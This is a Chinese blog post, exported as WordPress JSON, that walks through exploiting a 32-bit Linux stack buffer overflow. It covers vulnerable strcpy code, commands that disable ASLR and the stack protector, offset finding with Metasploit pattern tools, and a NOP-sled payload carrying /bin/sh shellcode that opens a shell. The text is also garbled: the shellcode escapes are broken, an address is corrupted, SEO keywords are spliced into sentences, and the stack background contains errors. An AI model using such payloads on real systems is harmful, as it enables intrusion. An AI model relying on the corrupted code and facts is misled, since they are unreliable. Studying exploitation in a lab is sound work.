{"id":288766,"date":"2023-12-09T21:06:07","date_gmt":"2023-12-09T13:06:07","guid":{"rendered":"https:\/\/lrxjmw.cn\/ljczslzycdyl.html"},"modified":"2023-12-09T21:06:07","modified_gmt":"2023-12-09T13:06:07","slug":"ljczslzycdyl","status":"publish","type":"post","link":"https:\/\/lrxjmw.cn\/ljczslzycdyl.html","title":{"rendered":"Linux\u57fa\u7840\u77e5\u8bc6\uff1alinux\u6808\u6ea2\u51fa\u7684\u539f\u7406\u548c\u5e94\u7528"},"content":{"rendered":"

\u672c\u8282\u4e3b\u8981\u8bb2\u89e3\u4e86linux32\u4f4d\u7cfb\u7edf<\/a>\u6808\u6ea2\u51fa\u7684\u501f\u52a9\u539f\u7406\u3002\u4ee5\u4e00\u4e2a\u5b9e\u4f8b\uff0c\u8be6\u5c3d\u63cf\u8ff0\u4e86linux\u6808\u6ea2\u51fa<\/strong>\u7684\u539f\u7406\u548c\u5e94\u7528\u3002<\/p>\n

\u76ee\u5f55<\/p>\n

1.\u6808\u6ea2\u51fa\u80cc\u666f\u77e5\u8bc6<\/p>\n

\u6808<\/p>\n

\u6808\u53c8\u79f0\u5806\u6808\uff0c\u7531\u7f16\u8bd1\u5668\u624b\u52a8\u5206\u914d\u91ca\u653e\uff0c\u884c\u4e3a\u7c7b\u4f3c\u6570\u636e\u7ed3\u6784\u4e2d\u7684\u6808(\u5148\u8fdb\u540e\u51fa)\u3002\u5806\u6808\u4e3b\u8981\u6709\u4e09\u4e2a\u7528\u9014\uff1a<\/p>\n

\u4e3a\u51fd\u6570\u5185\u90e8\u7533\u660e\u7684\u975e\u9759\u6001\u5c40\u90e8\u53d8\u91cf<\/a>(C\u8bed\u8a00\u4e2d\u79f0\u201c\u81ea\u52a8\u53d8\u91cf\u201d)\u63d0\u4f9b\u50a8\u5b58\u7a7a\u95f4\u3002\u8bb0\u5f55\u51fd\u6570\u8c03\u7528\u8fc7\u7a0b\u76f8\u5173\u7684\u7ef4\u62a4\u6027\u4fe1\u606f\uff0c\u79f0\u4e3a\u6808\u5e27(StackFrame)\u6216\u8fc7\u7a0b\u6d3b\u52a8\u8bb0\u5f55(ProcedureActivationRecord)\u3002\u5b83\u5305\u62ec\u51fd\u6570\u8fd4\u56de\u5730\u5740\uff0c\u4e0d\u9002\u5b9c\u653e\u5165\u5bc4\u5b58\u5668\u7684\u51fd\u6570\u53c2\u6570\u53ca\u4e00\u4e9b\u5bc4\u5b58\u5668\u503c\u7684\u4fdd\u5b58\u3002\u9664\u9012\u5f52\u8c03\u7528\u5916\uff0c\u5806\u6808\u5e76\u975e\u5fc5\u9700\u3002\u7531\u4e8e\u7f16\u8bd1\u65f6\u53ef\u5f97\u77e5\u5c40\u90e8\u53d8\u91cf\uff0c\u53c2\u6570\u548c\u8fd4\u56de\u5730\u5740\u6240\u9700\u7a7a\u95f4\uff0c\u5e76\u5c06\u5176\u5206\u914d\u4e8eBSS\u6bb5\u3002\u4e34\u65f6\u50a8\u5b58\u533a\uff0c\u7528\u4e8e\u6682\u5b58\u957f\u7b97\u672f\u8868\u8fbe\u5f0f\u90e8\u4efd\u4f30\u7b97\u7ed3\u679c\u6216alloca()\u51fd\u6570\u5206\u914d\u7684\u6808\u5185\u5185\u5b58\u3002<\/p>\n

\u6301\u7eed\u5730\u91cd\u7528\u6808\u7a7a\u95f4\u6709\u52a9\u4e8e\u4f7f\u6d3b\u8dc3\u7684\u6808\u663e\u5b58\u4fdd\u6301\u5728CPU\u7f13\u5b58\u4e2d\uff0c\u8fdb\u800c\u52a0\u901f\u8bbf\u95ee\u3002\u8fdb\u7a0b\u4e2d\u7684\u6bcf\u4f4d\u7ebf\u7a0b\u90fd\u6709\u5c5e\u4e8e\u81ea\u5df1\u7684\u6808\u3002\u5411\u6808\u4e2d\u4e0d\u65ad\u538b\u5165\u6570\u636e\u65f6\uff0c\u82e5\u8d85\u51fa\u5176\u5bb9\u91cf\u90fd\u4f1a\u7528\u5c3d\u6808\u5bf9\u5e94\u7684\u663e\u5b58\u533a\u57df\uff0c\u56e0\u800c\u89e6\u53d1\u4e00\u4e2a\u9875\u9519\u8bef\u3002\u6b64\u65f6\u82e5\u6808\u7684\u5927\u5c0f\u9ad8\u4e8e\u5806\u6808\u6700\u5927\u503cRLIMIT_STACK(\u4e00\u822c\u662f8M)\uff0c\u5219\u6808\u4f1a\u52a8\u6001\u4e0b\u964dlinux\u6808\u6ea2\u51fa<\/strong>\uff0c\u7a0b\u5e8f\u7ee7\u7eed\u8fd0\u884c\u3002\u6620\u5c04\u7684\u6808\u533a\u6269\u5145\u5230\u6240\u9700\u5927\u5c0f\u540e\uff0c\u4e0d\u518d\u6536\u7f29\u3002<\/p>\n

Linux<\/a>\u4e2dulimit-s\u547d\u4ee4<\/a>\u53ef\u67e5\u770b\u548c\u8bbe\u7f6e\u5806\u6808\u6700\u5927\u503c\uff0c\u5f53\u7a0b\u5e8f\u4f7f\u7528\u7684\u5806\u6808\u8d85\u8fc7\u8be5\u503c\u65f6,\u53d1\u751f\u6808\u6ea2\u51fa(StackOverflow)\uff0c\u7a0b\u5e8f\u6536\u5230\u4e00\u4e2a\u6bb5\u9519\u8bef(SegmentationFault)\u3002\u6ce8\u610f\uff0c\u8c03\u9ad8\u5806\u6808\u5bb9\u91cf\u53ef\u80fd\u4f1a\u964d\u4f4e\u663e\u5b58\u5f00\u652f\u548c\u542f\u52a8\u65f6\u95f4\u3002<\/p>\n

\u5806\u6808\u65e2\u53ef\u5411\u4e0a\u4e0b\u964d(\u5411\u663e\u5b58\u4f4e\u5730\u5740)\u4e5f\u53ef\u5411\u4e0b\u4e0b\u964d,\u8fd9\u4f9d\u8d56\u4e8e\u5177\u4f53\u7684\u5b9e\u73b0\u3002\u672c\u6587\u6240\u8ff0\u5806\u6808\u5411\u4e0a\u4e0b\u964d\u3002<\/p>\n

\u5806\u6808\u7684\u5927\u5c0f\u5728\u8fd0\u884c\u65f6\u7531\u5185\u6838\u52a8\u6001\u8c03\u6574\u3002<\/p>\n

32\u4f4d\u5bc4\u5b58\u5668<\/p>\n

\u6808\u6ea2\u51fa\u501f\u52a9\u4e3b\u8981\u6d89\u53ca\u5230\u4e86\u4e24\u7c7b\u5bc4\u5b58\u5668\uff0c\u8868\u9488\u5bc4\u5b58\u5668\u548c\u6307\u4ee4\u5bc4\u5b58\u5668\uff0c<\/p>\n

\u8868\u9488\u5bc4\u5b58\u5668(PointerRegister)\uff1a(\u5bc4\u5b58\u5668EBP\u3001ESP\u3001BP\u548cSP\u79f0\u4e3a\u8868\u9488\u5bc4\u5b58\u5668\uff0c\u4e3b\u8981\u7528\u4e8e\u50a8\u5b58\u5806\u6808\u663e\u5b58\u50a8\u5355\u5143\u7684\u504f\u659c\u91cf\uff0c\u7528\u5b83\u4eec\u53ef\u5b9e\u73b0\u591a\u79cd\u50a8\u5b58\u5668\u64cd\u4f5c\u6570\u7684\u8f6e\u8be2\u5f62\u5f0f\uff0c\u4e3a\u4ee5\u4e0d\u540c\u7684\u5730\u5740\u65b9\u5f0f\u8bbf\u95ee\u50a8\u5b58\u5355\u5143\u63d0\u4f9b\u4fbf\u6377\u3002\u5b83\u4eec\u4e3b\u8981\u7528\u4e8e\u8bbf\u95ee\u5806\u6808\u5185\u7684\u50a8\u5b58\u5355\u5143\uff0c\u800c\u4e14\u89c4\u5b9a<\/p>\n

\u6307\u4ee4\u8868\u9488\u5bc4\u5b58\u5668(InstructionPointer):\u662f\u50a8\u5b58\u4e0a\u6b21\u5373\u5c06\u6267\u884c\u7684\u6307\u4ee4\u5728\u4ee3\u7801\u6bb5\u7684\u504f\u659c\u91cf\u3002\u5728\u5177\u6709\u9884\u53d6\u6307\u4ee4\u529f\u80fd\u7684\u7cfb\u7edf\u4e2d\uff0c\u4e0a\u6b21\u8981\u6267\u884c\u7684\u6307\u4ee4\u4e00\u822c\u5df2\u88ab\u9884\u53d6\u5230\u6307\u4ee4\u961f\u5217\u4e2d\uff0c\u9664\u975e\u53d1\u751f\u8f6c\u79fb\u60c5\u51b5\u3002\u6240\u4ee5linux\u6808\u6ea2\u51fa<\/strong>\uff0c\u5728\u7406\u89e3\u5b83\u4eec\u7684\u529f\u80fd\u65f6\uff0c\u4e0d\u8003\u8651\u5b58\u5728\u6307\u4ee4\u961f\u5217\u7684\u60c5\u51b5\u3002<\/p>\n

2.\u6808\u6ea2\u51fa\u7684\u539f\u7406<\/p>\n

\u6808\u6ea2\u51fa\u6307\u7684\u662f\u7a0b\u5e8f\u5411\u6808\u4e2d\u67d0\u4e2a\u53d8\u91cf\u4e2d\u5199\u5165\u7684\u5b57\u8282\u6570\u8d85\u8fc7\u4e86\u8fd9\u4e2a\u53d8\u91cf\u672c\u8eab\u6240\u7533\u8bf7\u7684\u5b57\u8282\u6570\uff0c\u4ece\u800c\u9020\u6210\u4e0e\u5176\u76f8\u90bb\u7684\u6808\u4e2d\u7684\u53d8\u91cf\u7684\u503c\u88ab\u6539\u53d8\u3002\u8fd9\u4e9b\u95ee\u9898\u662f\u4e00\u79cd\u7279\u5b9a\u7684\u7f13\u51b2\u533a\u6ea2\u51fa\u6f0f\u6d1e\uff0c\u7c7b\u4f3c\u7684\u8fd8\u6709\u5806\u6ea2\u51fa\uff0cbss\u6bb5\u6ea2\u51fa\u7b49\u6ea2\u51fa\u5f62\u5f0f\u3002\u6808\u6ea2\u51fa\u6f0f\u6d1e\u8f7b\u5219\u53ef\u4ee5\u4f7f\u7a0b\u5e8f\u5d29\u6e83\uff0c\u91cd\u5219\u53ef\u4ee5\u4f7f\u529f\u51fb\u8005\u63a7\u5236\u7a0b\u5e8f\u7684\u6307\u4ee4\u8868\u9488\u3002\u4ee5\u4e0b\u662f\u4e00\u6bb5\u6808\u6ea2\u51fa\u7684\u4ee3\u7801\uff0c<\/p>\n

\n

\/\/sbof.c\n#include \nvoid stack_buffer_overflow(char str[])\n{\n        char buff[32] = \"\";\n        strcpy(buff,str);\n        printf(\"%sn\",buff);\n}\nint main(int argc, char **argv){\n        stack_buffer_overflow(argv[1]);\n}\n<\/code><\/pre>\n<\/p>\n

\u4e3a\u4e86\u5b9e\u9a8c\u624d\u80fd\u8ba9\u8bfb\u8005\u4fbf\u4e8e\u7406\u89e3\uff0c\u5728\u7f16\u8bd1\u65f6\u53d6\u6d88\u5404\u7c7b\u4fdd\u62a4\u673a\u5236\uff0c<\/p>\n

\u9996\u5148\u5173\u6389\u5730\u5740\u968f\u673a\u5316ASLR\uff0c<\/p>\n

\n

echo 0 >\/proc\/sys\/kernel\/randomize_va_space 0<\/code><\/pre>\n<\/p>\n

\u4f7f\u7528\u5982\u4e0b\u547d\u4ee4\u8fdb\u884c\u7f16\u8bd1\uff0c<\/p>\n

\n

gcc -o sbof \u00a0-z execstack -fno-stack-protector \u00a0-g -m32 sbof.c<\/code><\/pre>\n<\/p>\n

\u201c-m32\u201d\uff1a32\u4f4d\u7f16\u8bd1\uff0c\u987b\u8981\u5b89\u88c5apt-getinstallgcc-multilib<\/p>\n

\u201c-zexecstack\u201d\uff1aDEP\u53ef\u4ee5\u907f\u514d\u5e94\u7528\u8fd0\u884c\u7528\u4e8e\u6682\u5b58\u6307\u4ee4\u7684\u90a3\u90e8\u4efd\u663e\u5b58\u4e2d\u7684\u6570\u636e\uff0c\u8fdb\u800c\u4fdd\u62a4\u7b14\u8bb0\u672c\u3002\u5047\u5982DEP\u53d1\u89c9\u67d0\u4e2a\u8fd0\u884c\u8fd9\u79cd\u6570\u636e\u7684\u5e94\u7528\uff0c\u5b83\u5c06\u5173\u6389\u8be5\u5e94\u7528\u5e76\u901a\u77e5\u4f60\u3002<\/p>\n

\u201cecho0>\/proc\/sys\/kernel\/randomize_va_space0\u201d\uff1aASLR\u662f\u4e00\u79cd\u9488\u5bf9\u7f13\u51b2\u533a\u6ea2\u51fa\u7684\u5b89\u5168\u4fdd\u62a4\u6280\u672f\uff0c\u901a\u8fc7\u5bf9\u5806\u3001\u6808\u3001\u5171\u4eab\u5e93\u6620\u5c04\u7b49\u7ebf\u6027\u533a\u5e03\u5c40\u7684\u968f\u673a\u5316\uff0c\u901a\u8fc7\u964d\u4f4e\u529f\u51fb\u8005\u9884\u6d4b\u76ee\u7684\u5730\u5740\u7684\u96be\u5ea6\uff0c\u907f\u514d\u529f\u51fb\u8005\u76f4\u63a5\u5b9a\u4f4d\u529f\u51fb\u4ee3\u7801\u4f4d\u7f6e\uff0c\u8fbe\u5230\u5236\u6b62\u6ea2\u51fa\u529f\u51fb\u7684\u76ee\u7684\u7684\u4e00\u79cd\u6280\u672f\u3002<\/p>\n

\u201c-fno-stack-protector\u201d\uff1a\u6808\u91d1\u4e1d\u96c0\uff0c\u56e0\u5176\u7c7b\u4f3c\u4e8e\u77ff\u5c71\u4e2d\u7684\u91d1\u4e1d\u96c0\u800c\u547d\u4ee4\uff0c\u7528\u4e8e\u5728\u6076\u610f\u4ee3\u7801\u4e4b\u524d\u68c0\u67e5\u6808\u7f13\u51b2\u6ea2\u51fa\u3002\u8fd9\u4e9b\u6280\u5de7\u7684\u539f\u7406\u5c31\u662f\uff0c\u628a\u4e00\u4e2a\u5c0f\u7684\u6574\u6570\u503c\uff08\u5728\u7a0b\u5e8f\u542f\u52a8\u65f6\u968f\u673a\u9009\u62e9\uff09\u5012\u5165\u663e\u5b58\u4e2d\uff0c\u5176\u4f4d\u7f6e\u6b63\u597d\u5750\u843d\u6808\u8fd4\u56de\u8868\u9488\u4e4b\u524d\u3002\u5927\u591a\u6570\u7f13\u5b58\u6ea2\u51fa\u90fd\u662f\u4ece\u4f4e\u5730\u5740\u5230\u9ad8\u5730\u5740\u8986\u76d6\u663e\u5b58linux\u91cd\u542f\u547d\u4ee4\uff0c\u6240\u4ee5\uff0c\u53ea\u8981\u8986\u76d6\u4e86\u6808\u7684\u8fd4\u56de\u8868\u9488\uff0c\u8fd9\u4e48\u8fd9\u4e2a\u201c\u91d1\u4e1d\u96c0\u201d\u503c\u4e5f\u4f1a\u88ab\u8986\u76d6\u3002\u5728\u7a0b\u5e8f\u4f7f\u7528\u6808\u8fd4\u56de\u7684\u8868\u9488\u4e4b\u524d\uff0c\u5148\u68c0\u6d4b\u8fd9\u4e2a\u503c\u662f\u5426\u53d1\u751f\u6539\u53d8\u3002<\/p>\n

\u7f16\u8bd1\u5b8c\u6210\u540egdb\u4e2d\u6267\u884c\u8c03\u8bd5\uff0c\u8f93\u5165\u4e0b\u8fb9\u7684\u547d\u4ee4\u7ed9\u5b83\u704c\u5165100\u4e2aA<\/p>\n

\n

run $(python -c \"print 'A' * 100\")<\/code><\/pre>\n<\/p>\n

\u5f62\u6210\u6bb5\u9519\u8bef\uff0c\u4f46\u662f\u5f53\u524d\u7684\u6307\u4ee4\u7684\u5730\u5740\u88ab\u66f4\u6539\u4e3a41414141\u3002\u8fd9\u662f\u7531\u4e8e\u51fd\u6570\u7684\u8fd4\u56de\u503c\u7531\u4e8e\u6ea2\u51fa\u88ab\u66f4\u6539\u3002<\/p>\n

\u67e5\u770bmain\u51fd\u6570\u53cd\u6c47\u7f16\u4ee3\u7801\uff0c\u627e\u5230stack_buffer_overflow()\u51fd\u6570\u7684\u8fd4\u56de\u503c\u5730\u5740\uff0c0x56556248<\/p>\n

\u5728strcpy\u524d\u52a0\u5165\u65ad\u70b9\u8fdb\u884c\u8c03\u8bd5redhat linux\uff0c\u5bf9\u6bd4\u524d\u540e\u6808\u4e2d\u503c\u7684\u53d8\u5316\u3002<\/p>\n

\u6267\u884cstrcpy\u524d\uff0c\u8fd4\u56de\u503c\u5730\u5740\u4fdd\u5b58\u5728\u6808\u4e0a\u3002<\/p>\n

\u6267\u884cstrcpy\u540e\uff0c\u8fd4\u56de\u503c\u5730\u5740\u88ab\u8986\u76d6\u4e3a41414141\u3002<\/p>\n

3.\u6808\u6ea2\u51fa\u7684\u501f\u52a9<\/p>\n

\u672c\u8282\u901a\u8fc7\u501f\u52a9\u4e0a\u8282\u4e2d\u5e26\u6709\u7f13\u51b2\u533a\u6ea2\u51fa\u7684\u4ee3\u7801\uff0c\u751f\u6210\u4e00\u4e2ashell\u3002<\/p>\n

\u901a\u8fc7msf-pattern_create\u83b7\u53d6\u5b9a\u4f4dpayload,<\/p>\n

\n

root@kali:~\/test# msf-pattern_create -l 128\nAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae<\/code><\/pre>\n<\/p>\n

\u5728gdb\u4e2d\u4f20\u5165\u5b9a\u4f4dpayload\uff0c\u6ea2\u51fa\u540e\u663e\u793a\u4e0b\u4e00\u6761\u6307\u4ee4\u4e3a0x35624134\u3002<\/p>\n

\u4f7f\u7528msf-pattern_offset\u6309\u71670x35624134\u83b7\u53d6\u5177\u4f53\u504f\u659c\u3002\u504f\u659c\u4e3a44<\/p>\n

\n

root@kali:~\/test# msf-pattern_offset -q 0x35624134\n[*] Exact match at offset 44<\/code><\/pre>\n<\/p>\n

linux\u6808\u6ea2\u51fa_linux\u6808\u6ea2\u51fa\u5d29\u6e83\u6392\u67e5_linux\u6808\u6ea2\u51fa\u7684\u68c0\u6d4b\u65b9\u6cd5<\/p>\n

\u91cd\u65b0\u7ec4\u5408payload\uff0c\u786e\u5b9ashellcode\u4f4d\u7f6e\uff0c<\/p>\n

\n

python -c 'print \"A\" * 44 + \"B\" * 4 + \"C\" * 200'<\/code><\/pre>\n<\/p>\n

\u67e5\u770b\u5f53\u524desp\uff0c\u5730\u5740\u4e3a0xffffd7d0\u3002<\/p>\n

\u67e5\u770besp\u5730\u5740\u7684\u663e\u5b58\u4e2d\u7684\u5185\u5bb9\uff0c\u88abC\u585e\u6ee1\uff0c\u6b64\u5904\u53ef\u4ee5\u62ff\u6765\u50a8\u5b58shellcode\u3002<\/p>\n

shellcode\u7684\u5236\u505a\u65b9\u5f0f\u5e38\u7528\u6709\u4e09\u79cd\uff1a<\/p>\n

\u624b\u5de5\u5236\u505a\uff1bmsfvenom\u751f\u6210\uff1bexploit-db\u7f51\u7ad9\u76f4\u63a5\u83b7\u53d6\u3002<\/p>\n

\u672c\u7ae0\u4e0d\u662f\u4ee5shellcode\u4e3a\u91cd\u70b9\uff0c\u6240\u4ee5\u76f4\u63a5\u4eceexploit-db\u4e0a\u83b7\u53d6\u4e00\u4e2a32\u4f4d\u7684shell\u7684shellcode\u3002\u5047\u5982\u4f60\u4eec\u60f3\u8981\u5b66\u4e60\u624b\u5de5\u5236\u505ashellcode\u65b9\u5f0f\uff0c\u53ef\u4ee5\u7559\u8a00\uff0c\u672c\u4eba\u91cd\u65b0\u5199\u4e00\u7bc7\u535a\u6587\u4e13\u95e8\u4ecb\u7ecd\u3002<\/p>\n

\u8fd9\u7f51\u7ad9\u5c31\u80fd\u76f4\u63a5\u83b7\u53d6\u7ecf\u8fc7\u6d4b\u8bd5\u7684shellcode\u3002<\/p>\n

linux\u6808\u6ea2\u51fa\u7684\u68c0\u6d4b\u65b9\u6cd5_linux\u6808\u6ea2\u51fa\u5d29\u6e83\u6392\u67e5_linux\u6808\u6ea2\u51fa<\/p>\n

\u641c\u7d22\u4e00\u4e2a32\u4f4d\/bin\/sh\u7684shellcode\u3002<\/p>\n

\u9009\u4e2d\u8fd9\u4e2a\uff0cshellcode\u4e3a\uff0c<\/p>\n

\n

xd9xeex9bxd9x74x24xf4x5fx83xc7x25x8dx77x08x31xc9xb1x04x0fx6fx07x0fx6fx0ex0fxefxc1x0fx7fx06x83xc6x08xe2xefxebx08xaaxaaxaaxaaxaaxaaxaaxaax9bx6axfaxc2x85x85xd9xc2xc2x85xc8xc3xc4x23x49xfax23x48xf9x23x4bx1axa1x67x2a<\/code><\/pre>\n<\/p>\n

\u7b2c\u4e00\u6b21\u7ec4\u5408\uff0c\u627e\u5bfb\u786e\u5207\u7684esp\u5730\u5740\u3002\u6b64\u5904\u8fd4\u56de\u5730\u5740\u4e3aBBBB\u3002\u662f\u7531\u4e8e\u5f53\u51fd\u6570\u5165\u53c2\u7684\u539a\u5ea6\u53d8\u5316\u540e\uff0c\u6808\u9876(esp)\u5bf9\u5e94\u7684\u5730\u5740\u4e5f\u4f1a\u53d1\u751f\u53d8\u5316\u3002\u6240\u4ee5\u987b\u8981\u5148\u8fdb\u884c\u4e00\u6b21\u4e0d\u6210\u529f\u7684\u5b9e\u9a8c\u6765\u786e\u5b9aesp\u5728\u5f53\u524d\u5bbd\u5ea6payload\u5bf9\u5e94\u7684\u503c\u3002<\/p>\n

\n

run $(python -c 'print \"A\"*44 +\"B\" * 4 + \"x90\" * 32+ \"xd9xeex9bxd9x74x24xf4x5fx83xc7x25x8dx77x08x31xc9xb1x04x0fx6fx07x0fx6fx0ex0fxefxc1x0fx7fx06x83xc6x08xe2xefxebx08xaaxaaxaaxaaxaaxaaxaaxaax9bx6axfaxc2x85x85xd9xc2xc2x85xc8xc3xc4x23x49xfax23x48xf9x23x4bx1axa1x67x2a\"')<\/code><\/pre>\n<\/p>\n

\u6b64\u65f6esp\u7684\u503c\u4e3a0xffffdxffffd830\u3002\u5c06\u8fd9\u4e2a\u503c\u66ff\u6362payload\u4e2d\u7684BBBB\u91cd\u65b0\u7ec4\u5408payload\u3002<\/p>\n

\n

run $(python -c 'print \"A\"*44 +\"x30xd8xffxff\" + \"x90\" * 32+ \"xd9xeex9bxd9x74x24xf4x5fx83xc7x25x8dx77x08x31xc9xb1x04x0fx6fx07x0fx6fx0ex0fxefxc1x0fx7fx06x83xc6x08xe2xefxebx08xaaxaaxaaxaaxaaxaaxaaxaax9bx6axfaxc2x85x85xd9xc2xc2x85xc8xc3xc4x23x49xfax23x48xf9x23x4bx1axa1x67x2a\"')<\/code><\/pre>\n<\/p>\n

\u6267\u884c\u6210\u529f\uff01<\/p>\n

\u6ce8\uff1a\u7531\u4e8e\u73af\u5883\u53d8\u91cf\u5173\u7cfb\uff0c\u5728GDB\u4e4b\u5916\u6f0f\u6d1e\u7a0b\u5e8f\u6267\u884c\u8be5payload\u4e0d\u4f1a\u6210\u529f\u3002\u8fd9\u4e2a\u95ee\u9898\u4f60\u4eec\u7f51\u4e0a\u65e9\u5df2\u6709\u4e86\u89e3\u7b54\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"

32\u4f4d\u7cfb\u7edf\u6808\u6ea2\u51fa\u7684\u5229\u7528\u539f\u7406\u3002\u4ee5\u4e00\u4e2a\u5b9e\u4f8b\uff0c\u8be6\u7ec6\u63cf\u8ff0\u4e86linux\u6808\u6ea2\u51fa\u7684\u539f\u7406\u548c\u5e94\u7528\u30021.\u6808\u6ea2\u51fa\u80cc\u666f\u77e5\u8bc6\u6808\u53c8\u79f0\u5806\u6808\uff0c\u7531\u7f16\u8bd1\u5668\u81ea\u52a8\u5206\u914d\u91ca\u653e\uff0c\u884c\u4e3a\u7c7b\u4f3c\u6570\u636e\u7ed3\u6784\u4e2d\u7684\u6808(\u5148\u8fdb\u540e\u51fa)\u3002\u6808\u6ea2\u51fa\u6f0f\u6d1e\u8f7b\u5219\u53ef\u4ee5\u4f7f\u7a0b\u5e8f\u5d29\u6e83\uff0c\u91cd\u5219\u53ef\u4ee5\u4f7f\u653b\u51fb\u8005\u63a7\u5236\u7a0b\u5e8f\u7684\u6307\u4ee4\u6307\u9488\u30023.\u6808\u6ea2\u51fa\u7684\u5229\u7528<\/p>\n","protected":false},"author":1,"featured_media":288767,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[988],"tags":[999],"class_list":["post-288766","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-tougao","tag-999"],"acf":[],"_links":{"self":[{"href":"https:\/\/lrxjmw.cn\/wp-json\/wp\/v2\/posts\/288766","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/lrxjmw.cn\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/lrxjmw.cn\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/lrxjmw.cn\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/lrxjmw.cn\/wp-json\/wp\/v2\/comments?post=288766"}],"version-history":[{"count":0,"href":"https:\/\/lrxjmw.cn\/wp-json\/wp\/v2\/posts\/288766\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/lrxjmw.cn\/wp-json\/wp\/v2\/media\/288767"}],"wp:attachment":[{"href":"https:\/\/lrxjmw.cn\/wp-json\/wp\/v2\/media?parent=288766"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/lrxjmw.cn\/wp-json\/wp\/v2\/categories?post=288766"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/lrxjmw.cn\/wp-json\/wp\/v2\/tags?post=288766"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}